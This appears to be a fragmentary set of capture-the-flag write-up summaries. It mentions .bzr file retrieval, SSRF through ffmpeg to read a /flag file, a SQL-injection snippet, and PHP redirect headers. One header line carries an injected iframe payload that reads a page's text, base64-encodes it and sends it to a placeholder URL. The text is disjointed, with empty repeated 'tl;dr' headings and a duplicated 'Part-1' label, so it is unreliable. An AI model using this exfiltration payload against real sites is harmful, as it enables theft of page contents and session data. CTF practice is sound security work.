tl;dr
- Part-1: .bzr file retrival using any tool
- Part-1: exploiting ssrf via ffmpeg to read /flag file to a video and download it before it gets deleted
tl;dr
tl;dr
lcase('inKypinKy')id from dual
header("location:http://web/user.php?session=1111-22222-1234&sub=submit");
header("location:http://web/flag.php?session=<iframe id="a" src="http://web/flag.php?session=1111-22222-1234&sub=submit" onload=window.location="<URL>?"+btoa(document.getElementById('a').contentWindow.document.body.innerText)>&sub=submit")
tl;dr